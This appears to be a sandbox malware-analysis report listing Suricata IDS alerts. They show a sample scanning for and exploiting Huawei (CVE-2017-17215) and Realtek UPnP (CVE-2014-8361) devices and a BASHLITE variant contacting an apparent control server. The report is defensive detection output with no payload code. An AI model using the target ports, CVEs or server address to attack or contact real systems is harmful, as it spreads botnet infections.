Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34092 -> 197.110.213.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45484 -> 156.154.47.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46232 -> 197.137.0.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38396 -> 41.19.171.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38226 -> 156.213.13.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55864 -> 197.250.32.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50956 -> 197.45.76.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43916 -> 41.154.0.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57030 -> 197.105.21.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36174 -> 41.83.186.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50886 -> 41.93.218.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36240 -> 156.27.48.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43006 -> 197.191.121.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46152 -> 41.155.190.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57128 -> 197.220.32.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33124 -> 197.113.150.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55670 -> 156.70.20.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43036 -> 197.180.90.10:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47060 -> 156.166.58.209:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52878 -> 156.148.168.62:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45638 -> 156.80.178.162:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48388 -> 197.206.5.228:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40046 -> 41.223.32.33:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51422 -> 197.14.142.122:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51362 -> 41.152.16.212:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57736 -> 41.247.220.209:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47232 -> 41.81.247.199:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55414 -> 41.199.212.250:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41986 -> 197.185.81.12:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35982 -> 197.253.153.218:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44148 -> 156.104.77.191:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:42344 -> 41.217.45.131:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58514 -> 156.14.176.3:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37422 -> 41.223.80.155:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33992 -> 197.254.64.164:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47038 -> 197.196.167.169:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48380 -> 156.106.246.75:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52046 -> 156.139.93.141:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60966 -> 41.89.215.85:37215
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:50160 -> 104.248.167.251:89
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46272 -> 156.111.17.112:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58376 -> 156.24.28.119:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39806 -> 41.249.187.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33844 -> 41.73.89.117:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50314 -> 197.172.209.123:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:60256 -> 197.207.23.5:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59978 -> 197.98.103.117:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:43214 -> 41.29.4.198:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39660 -> 41.117.41.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38278 -> 197.50.231.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60668 -> 156.31.100.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57474 -> 197.3.178.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39274 -> 197.48.116.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43092 -> 156.53.11.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40140 -> 197.186.50.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39226 -> 156.213.57.39:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58364 -> 41.28.138.153:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36576 -> 41.27.85.83:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36600 -> 156.33.93.232:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53154 -> 41.69.246.200:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59364 -> 41.239.219.138:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37504 -> 156.171.168.41:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53032 -> 41.237.82.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33424 -> 41.74.66.224:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45448 -> 197.187.135.72:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47376 -> 41.111.212.181:52869

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.5.117.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.169.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.42.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.156.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.100.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.158.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.24.118.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.11.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.20.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.170.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.163.208.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.42.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.229.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.53.235.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.10.0.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.35.219.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.52.175.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.144.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.175.15.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.210.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.188.222.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.37.224.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.81.84.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.135.63.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.254.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.92.29.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.143.15.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.181.99.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.213.92.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.61.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.144.203.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.65.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.8.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.149.242.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.252.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.27.174.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.92.240.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.195.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.215.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.41.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.40.22.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.119.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.55.169 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.133.246.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.187.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.103.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.6.95.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.233.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.45.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.5.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.16.43.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.44.51.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.246.99.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.150.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.12.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.15.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.121.102.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.169.242.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.17.141.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.107.116.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.116.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.183.46.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.19.236.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.223.1.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.66.51.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.120.48.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.5.234.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.86.225.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.24.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.252.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.16.167.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.63.50.171 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.135.148.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.103.165.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.176.77.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.135.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.88.6.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.252.170.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.142.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.99.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.96.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.229.12.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.149.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.168.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.172.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.163.24.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.242.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.192.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.251.115.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.207.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.8.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.184.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.94.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.42.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.138.198.66 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.77.127.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.80.80.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.177.137.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.99.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.111.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.41.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.76.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.68.15.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.206.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.196.68.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.109.36.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.179.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.8.233.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.68.90.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.166.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.27.231 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.109.38.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.255.179.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.48.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.152.104.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.241.161.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.205.146 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.205.249.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.46.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.189.46.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.145.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.114.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.50.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.124.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.250.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.180.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.82.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.250.16.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.122.139.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.207.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.103.87.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.209.222.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.199.224.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.135.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.163.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.114.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.252.198.69 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.233.44.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.18.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.72.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.153.119.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.247.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.53.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.243.39.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.85.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.193.36.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.115.215.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.23.127.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.81.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.215.184.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.4.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.146.80.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.95.18.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.172.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.136.54.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.185.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.60.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.105.30.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.100.196.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.141.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.74.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.46.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.159.204.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.143.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.254.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.166.171.183 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.88.110.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.41.206.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.222.230.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.12.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.167.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.208.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.58.165.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.74.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.178.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.196.187.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.17.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.78.143.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.134.91.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.181.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.114.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.51.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.225.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.168.204.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.49.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.73.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.190.230.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.205.129.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.168.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.6.243.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.45.60.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.32.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.228.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.98.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.171.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.149.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.144.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.70.117.87 ports 2,5,6,8,9,37215,52869
Source: global traffic	TCP traffic: 41.117.203.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.79.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.59.148.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.32.233.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.140.244.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.224.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.161.1.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.167.179.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.77.235.31 ports 2,5,6,8,9,52869
